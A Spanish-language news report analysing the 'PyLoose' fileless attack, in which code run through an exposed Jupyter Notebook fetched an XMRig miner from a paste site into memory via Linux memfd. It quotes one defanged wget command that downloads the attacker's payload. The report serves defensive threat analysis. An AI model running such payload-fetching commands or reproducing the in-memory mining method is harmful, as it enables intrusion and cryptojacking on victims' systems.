Una empresa ha identificado un nuevo tipo de ataque cibernético que utiliza técnicas sin archivos para comprometer cargas de trabajo en la nube. El ataque, denominado PyLoose, se basa en el uso de código Python para cargar directamente un minero XMRig en la memoria del sistema mediante una técnica conocida como memfd, que es parte del sistema operativo Linux.
Detalles del ataque
El ataque fue detectado por primera vez el 22 de junio de 2023, mediante un sensor de tiempo de ejecución. El script utilizado para realizar el ataque se cargó en VirusTotal desde Noruega el mismo día, lo que sugiere que pudo haber sido realizado por el atacante o una víctima afectada.
Acceso inicial
El incidente comenzó cuando la víctima tenía un servicio Jupyter Notebook de acceso público. Aunque este tipo de servicios está diseñado para permitir la ejecución de código Python, en este caso no se pudo imponer la ejecución de comandos del sistema, incluso a través de módulos como os y subprocess. Los actores de amenazas suelen buscar entornos así para facilitar el acceso.
Técnica utilizada
El atacante descargó la carga útil sin archivos desde un sitio web equivalente a Pastebin, paste.c-net.org, en la memoria del tiempo de ejecución de Python al realizar una solicitud HTTPS GET que evita guardar el archivo en disco. Aunque se observó inicialmente el uso del comando wget -O- https[://]paste[.]c-net.org/chattingloosened, los datos sugieren que la mayor parte del tiempo se utilizó Python para realizar esta solicitud.
¿Por qué los ataques sin archivos son evasivos?
Los ataques sin archivos son más difíciles de detectar y analizar debido a su naturaleza efímera. No dependen de escribir la carga útil en el disco, sino que utilizan capacidades del sistema operativo como memfd, lo que dificulta su detección con soluciones tradicionales.
- Más difícil de detectar: Para detectar eficazmente malware sin archivos en Linux, se requieren soluciones avanzadas que utilicen técnicas de monitoreo de memoria y análisis basado en el comportamiento en tiempo de ejecución.
- Más difícil de investigar: La carga útil «vive» en la memoria, lo que complica el proceso de análisis forense. Además, la naturaleza efímera de las cargas de trabajo en la nube dificulta aún más la investigación.
- Menos común: Los casos documentados de ataques sin archivos dirigidos a cargas de trabajo en la nube son raros, lo que puede llevar a que los equipos de seguridad no dediquen suficiente esfuerzo a su detección.
Atribución del ataque
El atacante utilizó un servicio abierto para alojar la carga útil y adaptó la técnica de ejecución sin archivos a Python. Además, compiló el minero XMRig para incrustar su configuración y evitar tocar el disco o usar comandos reveladores.
Estos pasos sugieren que el adversario tiene un nivel de sofisticación que no se observa comúnmente en la mayoría de los ataques de carga de trabajo en la nube documentados públicamente. Sin embargo, no hay indicadores sólidos que puedan vincular este ataque a un actor de amenazas específico.